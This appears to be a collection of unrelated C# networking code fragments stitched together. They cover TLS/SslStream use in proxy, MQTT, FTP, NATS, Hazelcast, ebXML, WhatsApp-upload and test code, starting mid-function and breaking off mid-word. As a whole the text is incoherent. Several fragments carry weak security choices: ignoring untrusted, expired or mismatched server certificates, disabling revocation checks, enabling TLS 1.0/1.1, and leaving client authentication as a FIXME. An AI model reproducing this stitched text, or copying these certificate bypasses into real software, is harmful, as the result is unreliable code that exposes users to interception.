Connection Preface string line = await clientStream.ReadLineAsync(cancellationToken); if (line != string.Empty) { throw new Exception($"HTTP/2 Protocol violation. Empty string expected, '{line}' received"); } line = await clientStream.ReadLineAsync(cancellationToken); if (line != "SM") { throw new Exception($"HTTP/2 Protocol violation. 'SM' expected, '{line}' received"); } line = await clientStream.ReadLineAsync(cancellationToken); if (line != string.Empty) { throw new Exception($"HTTP/2 Protocol violation. Empty string expected, '{line}' received"); } var connection = await tcpConnectionFactory.GetServerConnection(this, connectArgs, isConnect : true, applicationProtocols : SslExtensions.Http2ProtocolAsList, noCache : true, cancellationToken : cancellationToken); try { await connection.StreamWriter.WriteLineAsync("PRI * HTTP/2.0", cancellationToken); await connection.StreamWriter.WriteLineAsync(cancellationToken); await connection.StreamWriter.WriteLineAsync("SM", cancellationToken); await connection.StreamWriter.WriteLineAsync(cancellationToken); #if NETSTANDARD2_1 await Http2Helper.SendHttp2(clientStream, connection.Stream, () => new SessionEventArgs(this, endPoint, cancellationTokenSource) { ProxyClient = { Connection = clientConnection }, HttpClient = { ConnectRequest = connectArgs?.HttpClient.ConnectRequest }, UserData = connectArgs?.UserData }, async args => { await onBeforeRequest(args); }, async args => { await onBeforeResponse(args); }, connectArgs.CancellationTokenSource, clientConnection.Id, ExceptionFunc); #endif } finally { await tcpConnectionFactory.Release(connection, true); } } } calledRequestHandler = true; // Now create the request await handleHttpSessionRequest(endPoint, clientConnection, clientStream, clientStreamWriter, cancellationTokenSource, connectHostname, connectArgs, prefetchConnectionTask); } catch (ProxyException e) { closeServerConnection = true; onException(clientStream, e); } catch (IOException e) { closeServerConnection = true; onException(clientStream, new Exception("Connection was aborted", e)); } catch (SocketException e) { closeServerConnection = true; onException(clientStream, new Exception("Could not connect", e)); } catch (Exception e) { closeServerConnection = true; onException(clientStream, new Exception("Error occured in whilst handling the client", e)); } finally { if (!calledRequestHandler) { await tcpConnectionFactory.Release(prefetchConnectionTask, closeServerConnection); } sslStream?.Dispose(); clientStream.Dispose(); if (!cancellationTokenSource.IsCancellationRequested) { cancellationTokenSource.Cancel(); } } }
public async Task ConnectAsync(string host, int port, string scheme, TimeSpan timeout) { this.host = host; bool succeeded = false; try { // Connect without proxy this.TcpClient = new TcpClient(); await TcpClient.ConnectAsync(host, port).ConfigureAwait(false); if (string.Equals(WebSocketConstants.Scheme, scheme, StringComparison.OrdinalIgnoreCase)) { // In the real world, web-socket will happen over HTTPS var sslStream = new SslStream(this.TcpClient.GetStream(), false, IotHubConnection.OnRemoteCertificateValidation); var x509CertificateCollection = new X509Certificate2Collection(); await sslStream.AuthenticateAsClientAsync(host, x509CertificateCollection, enabledSslProtocols : SslProtocols.Tls11 | SslProtocols.Tls12, checkCertificateRevocation : false).ConfigureAwait(false); this.WebSocketStream = sslStream; } else { this.WebSocketStream = this.TcpClient.GetStream(); } var upgradeRequest = this.BuildUpgradeRequest(); byte[] upgradeRequestBytes = Encoding.ASCII.GetBytes(upgradeRequest); this.TcpClient.Client.SendTimeout = GetSocketTimeoutInMilliSeconds(timeout); // Send WebSocket Upgrade request await WebSocketStream.WriteAsync(upgradeRequestBytes, 0, upgradeRequestBytes.Length).ConfigureAwait(false); // receive WebSocket Upgrade response var responseBuffer = new byte[8 * 1024]; var upgradeResponse = new HttpResponse(this.TcpClient, this.WebSocketStream, responseBuffer); await upgradeResponse.ReadAsync(timeout).ConfigureAwait(false); if (upgradeResponse.StatusCode != HttpStatusCode.SwitchingProtocols) { // the HTTP response code was not 101 if (this.TcpClient.Connected) { #if !NETSTANDARD1_3 this.WebSocketStream.Close(); this.TcpClient.Close(); #else this.WebSocketStream.Dispose(); this.TcpClient.Dispose(); #endif } throw new IOException(ServerRejectedUpgradeRequest + " " + upgradeResponse); } if (!this.VerifyWebSocketUpgradeResponse(upgradeResponse.Headers)) { if (this.TcpClient.Connected) { #if !NETSTANDARD1_3 this.WebSocketStream.Close(); this.TcpClient.Close(); #else this.WebSocketStream.Dispose(); this.TcpClient.Dispose(); #endif } throw new IOException(UpgradeProtocolNotSupported.FormatInvariant(WebSocketConstants.SubProtocols.Amqpwsb10)); } this.State = WebSocketState.Open; succeeded = true; } finally { if (!succeeded) { this.Abort(); } } }
/// <summary> /// Disconnects from server /// </summary> protected override void Dispose(bool disposing) { this.Client.LogStatus(FtpTraceLevel.Verbose, "Disposing FtpSocketStream..."); #if !NO_SSL if (m_bufStream != null) { // ensure the last of the buffered bytes are flushed // before we close the socket and network stream m_bufStream.Flush(); } #endif if (m_socket != null) { try { if (m_socket.Connected) { //// // Calling Shutdown() with mono causes an // exception if the remote host closed first //m_socket.Shutdown(SocketShutdown.Both); #if CORE m_socket.Dispose(); #else m_socket.Close(); #endif } #if !NET20 && !NET35 m_socket.Dispose(); #endif } catch (SocketException ex) { this.Client.LogStatus(FtpTraceLevel.Warn, "Caught and discarded a SocketException while cleaning up the Socket: " + ex.ToString()); } finally { m_socket = null; } } if (m_netStream != null) { try { m_netStream.Dispose(); } catch (IOException ex) { this.Client.LogStatus(FtpTraceLevel.Warn, "Caught and discarded an IOException while cleaning up the NetworkStream: " + ex.ToString()); } finally { m_netStream = null; } } #if !NO_SSL if (m_sslStream != null) { try { m_sslStream.Dispose(); } catch (IOException ex) { this.Client.LogStatus(FtpTraceLevel.Warn, "Caught and discarded an IOException while cleaning up the SslStream: " + ex.ToString()); } finally { m_sslStream = null; } } if (m_bufStream != null) { try { m_bufStream.Dispose(); } catch (IOException ex) { this.Client.LogStatus(FtpTraceLevel.Warn, "Caught and discarded an IOException while cleaning up the BufferedStream: " + ex.ToString()); } finally { m_bufStream = null; } } #endif }
/// <summary> /// Manual HTTPS request since we must directly use a TcpClient because of the proxy. /// This method connects to the server, enables SSL, do the request and read the response. /// </summary> /// <param name="headers">Request headers and optional body (POST)</param> /// <param name="host">Host to connect to</param> /// <param name="result">Request result</param> /// <returns>HTTP Status code</returns> private static int DoHTTPSRequest(List <string> headers, string host, ref string result) { string postResult = null; int statusCode = 520; Exception exception = null; AutoTimeout.Perform(() => { try { if (Settings.DebugMessages) { ConsoleIO.WriteLineFormatted("§8Performing request to " + host); } TcpClient client = ProxyHandler.newTcpClient(host, 443, true); SslStream stream = new SslStream(client.GetStream()); stream.AuthenticateAsClient(host); if (Settings.DebugMessages) { foreach (string line in headers) { ConsoleIO.WriteLineFormatted("§8> " + line); } } stream.Write(Encoding.ASCII.GetBytes(String.Join("\r\n", headers.ToArray()))); System.IO.StreamReader sr = new System.IO.StreamReader(stream); string raw_result = sr.ReadToEnd(); if (Settings.DebugMessages) { ConsoleIO.WriteLine(""); foreach (string line in raw_result.Split('\n')) { ConsoleIO.WriteLineFormatted("§8< " + line); } } if (raw_result.StartsWith("HTTP/1.1")) { postResult = raw_result.Substring(raw_result.IndexOf("\r\n\r\n") + 4); statusCode = Settings.str2int(raw_result.Split(' ')[1]); } else { statusCode = 520; //Web server is returning an unknown error } } catch (Exception e) { if (!(e is System.Threading.ThreadAbortException)) { exception = e; } } }, TimeSpan.FromSeconds(30)); result = postResult; if (exception != null) { throw exception; } return(statusCode); }
public override async Task OpenAsync() { State = ChannelState.Connecting; readConnection = new SemaphoreSlim(1); writeConnection = new SemaphoreSlim(1); try { if (localEP != null) { client = new TcpClient(localEP); } else { client = new TcpClient(); } } catch (Exception ex) { OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ex)); return; } client.LingerState = new LingerOption(true, 0); client.NoDelay = true; client.ExclusiveAddressUse = false; client.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true); client.Client.UseOnlyOverlappedIO = true; try { if (remoteEP != null) { await client.ConnectAsync(remoteEP.Address, remoteEP.Port); } else if (address != null) { await client.ConnectAsync(address, port); } else if (!String.IsNullOrEmpty(hostname)) { await client.ConnectAsync(hostname, port); } else { State = ChannelState.Aborted; throw new InvalidDataException("Tcp client connection parameters not sufficient."); } } catch (AggregateException ae) { OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ae.Flatten().InnerException)); return; } catch (Exception ex) { OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ex)); return; } try { localStream = client.GetStream(); if (psk != null) { try { protocol = client.ConnectPskTlsClient(pskIdentity, psk, localStream); stream = protocol.Stream; IsEncrypted = true; } catch (Exception ex) { State = ChannelState.Aborted; Console.WriteLine("Fault opening TLS connection {0}", ex.Message); Trace.TraceError(ex.Message); OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ex)); return; } } else if (certificate != null) { try { stream = new SslStream(localStream, true, new RemoteCertificateValidationCallback(ValidateCertificate)); IsEncrypted = true; X509CertificateCollection certificates = new X509CertificateCollection(); X509Certificate cert = new X509Certificate(certificate.RawData); certificates.Add(cert); SslStream sslStream = (SslStream)stream; await sslStream.AuthenticateAsClientAsync(hostname, certificates, SslProtocols.Tls12, true); if (!sslStream.IsEncrypted || !sslStream.IsSigned) { stream.Dispose(); throw new AuthenticationException("SSL stream is not both encrypted and signed."); } } catch (Exception ex) { protocol = null; if (client != null) { State = ChannelState.ClosedReceived; if (client.Client.UseOnlyOverlappedIO) { client.Client.DuplicateAndClose(Process.GetCurrentProcess().Id); } else { client.Close(); } stream.Close(); client = null; } State = ChannelState.Aborted; Trace.TraceError(ex.Message); OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ex)); } } else { stream = localStream; } } catch (AggregateException ae) { OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ae.Flatten().InnerException)); return; } catch (Exception ex) { OnError?.Invoke(this, new ChannelErrorEventArgs(Id, ex)); return; } State = ChannelState.Open; OnOpen?.Invoke(this, new ChannelOpenEventArgs(Id, null)); }
#pragma warning restore 4014 async Task TryHandleClientConnectionAsync(CrossPlatformSocket clientSocket) { Stream stream = null; string remoteEndPoint = null; try { remoteEndPoint = clientSocket.RemoteEndPoint.ToString(); _logger.Verbose("Client '{0}' accepted by TCP listener '{1}, {2}'.", remoteEndPoint, _localEndPoint, _addressFamily == AddressFamily.InterNetwork ? "ipv4" : "ipv6"); clientSocket.NoDelay = _options.NoDelay; stream = clientSocket.GetStream(); X509Certificate2 clientCertificate = null; if (_tlsCertificate != null) { var sslStream = new SslStream(stream, false, _tlsOptions.RemoteCertificateValidationCallback); #if NET40 Task.Factory.FromAsync((callback, state) => sslStream.BeginAuthenticateAsServer( _tlsCertificate, _tlsOptions.ClientCertificateRequired, _tlsOptions.SslProtocol, _tlsOptions.CheckCertificateRevocation, callback, state), sslStream.EndAuthenticateAsServer, null).Wait(); #else await sslStream.AuthenticateAsServerAsync( _tlsCertificate, _tlsOptions.ClientCertificateRequired, _tlsOptions.SslProtocol, _tlsOptions.CheckCertificateRevocation).ConfigureAwait(false); #endif stream = sslStream; clientCertificate = sslStream.RemoteCertificate as X509Certificate2; if (clientCertificate == null && sslStream.RemoteCertificate != null) { clientCertificate = new X509Certificate2(sslStream.RemoteCertificate.Export(X509ContentType.Cert)); } } var clientHandler = ClientHandler; if (clientHandler != null) { using (var clientAdapter = new MqttChannelAdapter(new MqttTcpChannel(stream, remoteEndPoint, clientCertificate), new MqttPacketFormatterAdapter(new MqttPacketWriter()), _rootLogger)) { await clientHandler(clientAdapter).ConfigureAwait(false); } } } catch (Exception exception) { if (exception is ObjectDisposedException) { // It can happen that the listener socket is accessed after the cancellation token is already set and the listener socket is disposed. return; } if (exception is SocketException socketException && socketException.SocketErrorCode == SocketError.OperationAborted) { return; } _logger.Error(exception, "Error while handling client connection."); } finally { try { stream?.Dispose(); clientSocket?.Dispose(); _logger.Verbose("Client '{0}' disconnected at TCP listener '{1}, {2}'.", remoteEndPoint, _localEndPoint, _addressFamily == AddressFamily.InterNetwork ? "ipv4" : "ipv6"); } catch (Exception disposeException) { _logger.Error(disposeException, "Error while cleaning up client connection"); } } }
/// <exception cref="System.IO.IOException"></exception> public ClientConnection(ClientConnectionManager clientConnectionManager, ClientInvocationService invocationService, int id, Address address, ClientNetworkConfig clientNetworkConfig) { _clientConnectionManager = clientConnectionManager; _id = id; var isa = address.GetInetSocketAddress(); var socketOptions = clientNetworkConfig.GetSocketOptions(); try { _clientSocket = new Socket(isa.AddressFamily, SocketType.Stream, ProtocolType.Tcp); _clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); if (socketOptions.GetLingerSeconds() > 0) { var lingerOption = new LingerOption(true, socketOptions.GetLingerSeconds()); _clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Linger, lingerOption); } else { var lingerOption = new LingerOption(true, 0); _clientSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, lingerOption); } _clientSocket.NoDelay = socketOptions.IsTcpNoDelay(); _clientSocket.ReceiveTimeout = socketOptions.GetTimeout() > 0 ? socketOptions.GetTimeout() : -1; var bufferSize = socketOptions.GetBufferSize() * 1024; if (bufferSize < 0) { bufferSize = BufferSize; } _clientSocket.SendBufferSize = bufferSize; _clientSocket.ReceiveBufferSize = bufferSize; var connectionTimeout = clientNetworkConfig.GetConnectionTimeout() > -1 ? clientNetworkConfig.GetConnectionTimeout() : ConnectionTimeout; var socketResult = _clientSocket.BeginConnect(address.GetHost(), address.GetPort(), null, null); if (!socketResult.AsyncWaitHandle.WaitOne(connectionTimeout, true) || !_clientSocket.Connected) { // NOTE, MUST CLOSE THE SOCKET _clientSocket.Close(); throw new IOException("Failed to connect to " + address); } _sendBuffer = ByteBuffer.Allocate(BufferSize); _receiveBuffer = ByteBuffer.Allocate(BufferSize); _builder = new ClientMessageBuilder(invocationService.HandleClientMessage); var networkStream = new NetworkStream(_clientSocket, false); if (clientNetworkConfig.GetSSLConfig().IsEnabled()) { var sslStream = new SslStream(networkStream, false, (sender, certificate, chain, sslPolicyErrors) => RemoteCertificateValidationCallback(sender, certificate, chain, sslPolicyErrors, clientNetworkConfig), null); var certificateName = clientNetworkConfig.GetSSLConfig().GetCertificateName() ?? ""; sslStream.AuthenticateAsClient(certificateName); _stream = sslStream; } else { _stream = networkStream; } _live = new AtomicBoolean(true); _connectionStartTime = Clock.CurrentTimeMillis(); } catch (Exception e) { _clientSocket.Close(); if (_stream != null) { _stream.Close(); } throw new IOException("Cannot connect! Socket error:" + e.Message); } }
public async Task SslStream_StreamToStream_Alpn_NonMatchingProtocols_Fail() { TcpListener listener = new TcpListener(IPAddress.Loopback, 0); try { listener.Start(); using (TcpClient client = new TcpClient()) { Task <TcpClient> serverTask = listener.AcceptTcpClientAsync(); await client.ConnectAsync(IPAddress.Loopback, ((IPEndPoint)listener.LocalEndpoint).Port); using (TcpClient server = await serverTask) using (SslStream serverStream = new SslStream(server.GetStream(), leaveInnerStreamOpen: false)) using (SslStream clientStream = new SslStream(client.GetStream(), leaveInnerStreamOpen: false)) using (X509Certificate2 certificate = Configuration.Certificates.GetServerCertificate()) { SslServerAuthenticationOptions serverOptions = new SslServerAuthenticationOptions { ApplicationProtocols = new List <SslApplicationProtocol> { SslApplicationProtocol.Http2 }, ServerCertificate = certificate, }; SslClientAuthenticationOptions clientOptions = new SslClientAuthenticationOptions { ApplicationProtocols = new List <SslApplicationProtocol> { SslApplicationProtocol.Http11 }, RemoteCertificateValidationCallback = AllowAnyServerCertificate, TargetHost = certificate.GetNameInfo(X509NameType.SimpleName, false), }; // Test alpn failure only on platforms that supports ALPN. if (BackendSupportsAlpn) { Task t1 = Assert.ThrowsAsync <IOException>(() => clientStream.AuthenticateAsClientAsync(clientOptions, CancellationToken.None)); try { await serverStream.AuthenticateAsServerAsync(serverOptions, CancellationToken.None); Assert.True(false, "AuthenticationException was not thrown."); } catch (AuthenticationException) { server.Dispose(); } await TestConfiguration.WhenAllOrAnyFailedWithTimeout(t1); } else { Task t1 = clientStream.AuthenticateAsClientAsync(clientOptions, CancellationToken.None); Task t2 = serverStream.AuthenticateAsServerAsync(serverOptions, CancellationToken.None); await TestConfiguration.WhenAllOrAnyFailedWithTimeout(t1, t2); Assert.Equal(default(SslApplicationProtocol), clientStream.NegotiatedApplicationProtocol); Assert.Equal(default(SslApplicationProtocol), serverStream.NegotiatedApplicationProtocol); } } } } finally { listener.Stop(); } }
private async Task BeginConnect() { try { this.Information("Connecting to " + Host + ":" + Port.ToString()); this.DisposeClient(); this.State = MqttState.Connecting; #if WINDOWS_UWP this.client = new StreamSocket(); await this.client.ConnectAsync(new HostName(this.host), this.port.ToString(), SocketProtectionLevel.PlainSocket); if (this.tls) { this.State = MqttState.StartingEncryption; if (this.trustServer) { this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.Untrusted); this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.Expired); this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.IncompleteChain); this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.WrongUsage); this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.InvalidName); this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.RevocationInformationMissing); this.client.Control.IgnorableServerCertificateErrors.Add(ChainValidationResult.RevocationFailure); } await this.client.UpgradeToSslAsync(SocketProtectionLevel.Tls12, new HostName(this.host)); this.serverCertificate = this.client.Information.ServerCertificate; this.serverCertificateValid = true; this.dataReader = new DataReader(this.client.InputStream); this.dataWriter = new DataWriter(this.client.OutputStream); this.CONNECT(KeepAliveTimeSeconds); } else { this.dataReader = new DataReader(this.client.InputStream); this.dataWriter = new DataWriter(this.client.OutputStream); this.CONNECT(KeepAliveTimeSeconds); } #else this.client = new TcpClient(); await this.client.ConnectAsync(Host, Port); if (this.tls) { this.State = MqttState.StartingEncryption; SslStream SslStream = new SslStream(this.client.GetStream(), false, this.RemoteCertificateValidationCallback); this.stream = SslStream; await SslStream.AuthenticateAsClientAsync(this.host, null, SslProtocols.Tls | SslProtocols.Tls11 | SslProtocols.Tls12, true); this.CONNECT(KeepAliveTimeSeconds); } else { this.stream = this.client.GetStream(); this.CONNECT(KeepAliveTimeSeconds); } #endif } catch (Exception ex) { this.ConnectionError(ex); } }
/** * Called in its own thread to process the inbound message on the given socket. Reads the * message, returns any synchronous or asynchronous acknowledgment, and logs the message id in the de-duplication list. * If the id has not been seen before (according to the list), calls ConnectionManager.receive(). * * @param Clear-text accepted socket */ private void processMessage(Socket s) { // Log received ebXML message ids and add to it where "duplicate // elimination" is set. Do this in memory - if we go down between retries on long- // duration interactions we'll incorrectly not detect the duplicate, but that will // be a recognised limitation for now, and is supposed to be caught by HL7 de- // duplication anyway. // EbXmlMessage msg = null; try { ConnectionManager cm = ConnectionManager.getInstance(); NetworkStream n = new NetworkStream(s); SslStream ssl = new SslStream(n, false, validateRemoteCertificate, getLocalCertificate); // FIXME: Require client certificate - but leave it for now // ssl.AuthenticateAsServer(cm.getCertificate()); msg = new EbXmlMessage(ssl); string ack = makeSynchronousAck(msg); if (ack != null) { ssl.Write(Encoding.UTF8.GetBytes(ack)); ssl.Flush(); } ssl.Close(); // If we have data for it, DateTime.Now + persistDuration. The trouble is that // the persistDuration isn't actually carried in the message. Easiest is *probably* // to cache SDS details for "my party key" for all received messages, which will // require a "tool" to do the calls. // Dictionary <string, TimeSpan> pd = cm.ReceivedPersistDurations; if (pd != null) { bool notSeenBefore = true; lock (requestLock) { notSeenBefore = (!receivedIds.ContainsKey(msg.Header.MessageId)); } if (notSeenBefore) { try { // TimeSpan ts = pd[msg.SoapAction]; TimeSpan ts = pd[msg.Header.SvcIA]; DateTime expireTime = DateTime.Now; expireTime = expireTime.Add(ts); lock (requestLock) { receivedIds.Add(msg.Header.MessageId, expireTime); } } catch (KeyNotFoundException) { } cm.receive(msg); } // No "else" - if the message id is in the "receivedIds" set then we want // to do the ack but nothing else. } else { cm.receive(msg); } } catch (Exception e) { EventLog logger = new EventLog("Application"); logger.Source = LOGSOURCE; StringBuilder sb = new StringBuilder("Error receiving message from"); sb.Append(s.RemoteEndPoint.ToString()); sb.Append(" : "); sb.Append(e.ToString()); logger.WriteEntry(sb.ToString(), EventLogEntryType.Error); if (msg != null) { doAsynchronousNack(msg); } return; } doAsynchronousAck(msg); }
protected WaUploadResponse UploadFile(string b64hash, string type, long size, byte[] fileData, string to, string contenttype, string extension) { ProtocolTreeNode media = new ProtocolTreeNode("media", new KeyValue[] { new KeyValue("hash", b64hash), new KeyValue("type", type), new KeyValue("size", size.ToString()) }); string id = TicketManager.GenerateId(); ProtocolTreeNode node = new ProtocolTreeNode("iq", new KeyValue[] { new KeyValue("id", id), new KeyValue("to", to), new KeyValue("type", "set"), new KeyValue("xmlns", "w:m") }, media); this.uploadResponse = null; this.SendNode(node); int i = 0; while (this.uploadResponse == null && i <= 100) { if (m_usePoolMessages) { System.Threading.Thread.Sleep(500); } else { this.pollMessage(); } i++; } if (this.uploadResponse != null && this.uploadResponse.GetChild("duplicate") != null) { WaUploadResponse res = new WaUploadResponse(this.uploadResponse); this.uploadResponse = null; return(res); } else { try { string uploadUrl = this.uploadResponse.GetChild("media").GetAttribute("url"); this.uploadResponse = null; Uri uri = new Uri(uploadUrl); string hashname = string.Empty; byte[] buff = MD5.Create().ComputeHash(System.Text.Encoding.Default.GetBytes(b64hash)); StringBuilder sb = new StringBuilder(); foreach (byte b in buff) { sb.Append(b.ToString("X2")); } hashname = String.Format("{0}.{1}", sb.ToString(), extension); string boundary = "zzXXzzYYzzXXzzQQ"; sb = new StringBuilder(); sb.AppendFormat("--{0}\r\n", boundary); sb.Append("Content-Disposition: form-data; name=\"to\"\r\n\r\n"); sb.AppendFormat("{0}\r\n", to); sb.AppendFormat("--{0}\r\n", boundary); sb.Append("Content-Disposition: form-data; name=\"from\"\r\n\r\n"); sb.AppendFormat("{0}\r\n", this.phoneNumber); sb.AppendFormat("--{0}\r\n", boundary); sb.AppendFormat("Content-Disposition: form-data; name=\"file\"; filename=\"{0}\"\r\n", hashname); sb.AppendFormat("Content-Type: {0}\r\n\r\n", contenttype); string header = sb.ToString(); sb = new StringBuilder(); sb.AppendFormat("\r\n--{0}--\r\n", boundary); string footer = sb.ToString(); long clength = size + header.Length + footer.Length; sb = new StringBuilder(); sb.AppendFormat("POST {0}\r\n", uploadUrl); sb.AppendFormat("Content-Type: multipart/form-data; boundary={0}\r\n", boundary); sb.AppendFormat("Host: {0}\r\n", uri.Host); sb.AppendFormat("User-Agent: {0}\r\n", WhatsConstants.UserAgentDefault); sb.AppendFormat("Content-Length: {0}\r\n\r\n", clength); string post = sb.ToString(); TcpClient tc = new TcpClient(uri.Host, 443); SslStream ssl = new SslStream(tc.GetStream()); try { ssl.AuthenticateAsClient(uri.Host); } catch (Exception e) { throw e; } List <byte> buf = new List <byte>(); buf.AddRange(Encoding.UTF8.GetBytes(post)); buf.AddRange(Encoding.UTF8.GetBytes(header)); buf.AddRange(fileData); buf.AddRange(Encoding.UTF8.GetBytes(footer)); ssl.Write(buf.ToArray(), 0, buf.ToArray().Length); //moment of truth... buff = new byte[1024]; ssl.Read(buff, 0, 1024); string result = Encoding.UTF8.GetString(buff); foreach (string line in result.Split(new string[] { "\n" }, StringSplitOptions.RemoveEmptyEntries)) { if (line.StartsWith("{")) { string fooo = line.TrimEnd(new char[] { (char)0 }); JavaScriptSerializer jss = new JavaScriptSerializer(); WaUploadResponse resp = jss.Deserialize <WaUploadResponse>(fooo); if (!String.IsNullOrEmpty(resp.url)) { return(resp); } } } } catch (Exception) { } } return(null); }
private async Task <(INatsConnection connection, IList <IOp> consumedOps)> EstablishConnectionAsync( Host host, ConnectionInfo connectionInfo, CancellationToken cancellationToken) { var serverCertificateValidation = connectionInfo.ServerCertificateValidation ?? DefaultServerCertificateValidation; bool RemoteCertificateValidationCallback(object _, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => serverCertificateValidation(certificate, chain, errors); var consumedOps = new List <IOp>(); Socket socket = null; Stream stream = null; try { socket = _socketFactory.Create(connectionInfo.SocketOptions); await socket.ConnectAsync( host, connectionInfo.SocketOptions.ConnectTimeoutMs, cancellationToken).ConfigureAwait(false); stream = socket.CreateReadWriteStream(); var reader = new NatsOpStreamReader(stream); var op = reader.ReadOneOp(); if (op == null) { throw NatsException.FailedToConnectToHost(host, "Expected to get INFO after establishing connection. Got nothing."); } if (!(op is InfoOp infoOp)) { throw NatsException.FailedToConnectToHost(host, $"Expected to get INFO after establishing connection. Got {op.GetType().Name}."); } var serverInfo = NatsServerInfo.Parse(infoOp.Message); var credentials = host.HasNonEmptyCredentials() ? host.Credentials : connectionInfo.Credentials; if (serverInfo.AuthRequired && (credentials == null || credentials == Credentials.Empty)) { throw NatsException.MissingCredentials(host); } if (serverInfo.TlsVerify && connectionInfo.ClientCertificates.Count == 0) { throw NatsException.MissingClientCertificates(host); } consumedOps.Add(op); if (serverInfo.TlsRequired) { await stream.DisposeAsync(); stream = new SslStream(socket.CreateReadWriteStream(), false, RemoteCertificateValidationCallback, null, EncryptionPolicy.RequireEncryption); var ssl = (SslStream)stream; var clientAuthOptions = new SslClientAuthenticationOptions { RemoteCertificateValidationCallback = RemoteCertificateValidationCallback, AllowRenegotiation = true, CertificateRevocationCheckMode = X509RevocationMode.Online, ClientCertificates = connectionInfo.ClientCertificates, EnabledSslProtocols = SslProtocols.Tls12, EncryptionPolicy = EncryptionPolicy.RequireEncryption, TargetHost = host.Address }; await ssl.AuthenticateAsClientAsync(clientAuthOptions, cancellationToken).ConfigureAwait(false); reader = new NatsOpStreamReader(ssl); } stream.Write(ConnectCmd.Generate(connectionInfo.Verbose, credentials, connectionInfo.Name)); stream.Write(PingCmd.Bytes.Span); await stream.FlushAsync(cancellationToken).ConfigureAwait(false); op = reader.ReadOneOp(); if (op == null) { throw NatsException.FailedToConnectToHost(host, "Expected to read something after CONNECT and PING. Got nothing."); } if (op is ErrOp) { throw NatsException.FailedToConnectToHost(host, $"Expected to get PONG after sending CONNECT and PING. Got {op.GetAsString()}."); } if (!socket.Connected) { throw NatsException.FailedToConnectToHost(host, "No connection could be established."); } consumedOps.Add(op); return( new NatsConnection( serverInfo, socket, stream, cancellationToken), consumedOps); } catch { Swallow.Everything( () => { stream?.Dispose(); stream = null; }, () => { if (socket == null) { return; } if (socket.Connected) { socket.Shutdown(SocketShutdown.Both); } socket.Dispose(); socket = null; }); throw; } }
public async Task Manual_CertificateSentMatchesCertificateReceived_Success( int numberOfRequests, bool reuseClient) // validate behavior with and without connection pooling, which impacts client cert usage { if (!BackendSupportsCustomCertificateHandling) // can't use [Conditional*] right now as it's evaluated at the wrong time for SocketsHttpHandler { _output.WriteLine($"Skipping {nameof(Manual_CertificateSentMatchesCertificateReceived_Success)}()"); return; } var options = new LoopbackServer.Options { UseSsl = true }; HttpClient CreateClient(X509Certificate2 cert) { HttpClientHandler handler = CreateHttpClientHandler(); handler.ServerCertificateCustomValidationCallback = TestHelper.AllowAllCertificates; handler.ClientCertificates.Add(cert); Assert.True(handler.ClientCertificates.Contains(cert)); return(CreateHttpClient(handler)); } async Task MakeAndValidateRequest(HttpClient client, LoopbackServer server, Uri url, X509Certificate2 cert) { await TestHelper.WhenAllCompletedOrAnyFailed( client.GetStringAsync(url), server.AcceptConnectionAsync(async connection => { SslStream sslStream = Assert.IsType <SslStream>(connection.Stream); // We can't do Assert.Equal(cert, sslStream.RemoteCertificate) because // on .NET Framework sslStream.RemoteCertificate is always an X509Certificate // object which is not equal to the X509Certificate2 object we use in the tests. // So, we'll just compare a few properties to make sure it's the right certificate. Assert.Equal(cert.Subject, sslStream.RemoteCertificate.Subject); Assert.Equal(cert.Issuer, sslStream.RemoteCertificate.Issuer); await connection.ReadRequestHeaderAndSendResponseAsync(additionalHeaders: "Connection: close\r\n"); })); }; await LoopbackServer.CreateServerAsync(async (server, url) => { using (X509Certificate2 cert = Configuration.Certificates.GetClientCertificate()) { if (reuseClient) { using (HttpClient client = CreateClient(cert)) { for (int i = 0; i < numberOfRequests; i++) { await MakeAndValidateRequest(client, server, url, cert); GC.Collect(); GC.WaitForPendingFinalizers(); } } } else { for (int i = 0; i < numberOfRequests; i++) { using (HttpClient client = CreateClient(cert)) { await MakeAndValidateRequest(client, server, url, cert); } GC.Collect(); GC.WaitForPendingFinalizers(); } } } }, options); }
internal void ThreadStart(Object o) { SslStream sslStream = o as SslStream; if (sslStream != null) { //Have to send the local peer list to the other end of //the connection, and we also need to be notified of any //changes to the local peer list. This has to be done //in one operation so a new node can't sneak in between //us reading the nodelist, and us registering the event. lock (m_OutgoingQueue_Lock) //don't let the callback enqueue a message first { NodePeerList localPeerList = CommunicationManager.RegisterLocalPeerListChangedCallback( new CommunicationManager.LocalPeerListChangedHandler( LocalPeerListChangedCallback)); Send(localPeerList.ToXml()); } //kick off a read callback chain of threads lock (m_ReadCallback_Lock) { sslStream.BeginRead(m_newData, 0, m_newData.Length, new AsyncCallback(ReadCallback), sslStream); } bool stop = false; while (!stop) { //send any queued messages int outgoingCount = 0; lock (m_OutgoingQueue_Lock) { outgoingCount = m_OutgoingQueue.Count; } while (outgoingCount > 0) { string data = null; lock (m_OutgoingQueue_Lock) { data = m_OutgoingQueue.Dequeue(); } //encode it to base 64 so we don't have to worry about control codes byte[] encbuf = System.Text.Encoding.Unicode.GetBytes(data); string encodedData = Convert.ToBase64String(encbuf) + "\n"; //terminate in newline to denote the end of the message //convert to a byte array byte[] writebuf = System.Text.Encoding.ASCII.GetBytes(encodedData); sslStream.Write(writebuf); sslStream.Flush(); outgoingCount--; } //process any received messages int incomingCount = 0; lock (m_IncomingQueue_Lock) { incomingCount = m_IncomingQueue.Count; } while (incomingCount > 0) { string data = null; lock (m_IncomingQueue_Lock) { data = m_IncomingQueue.Dequeue(); } //message is in base 64, so convert back to a string byte[] decbuff = Convert.FromBase64String(data); string message = System.Text.Encoding.Unicode.GetString(decbuff); Receive(message); incomingCount--; } //wait 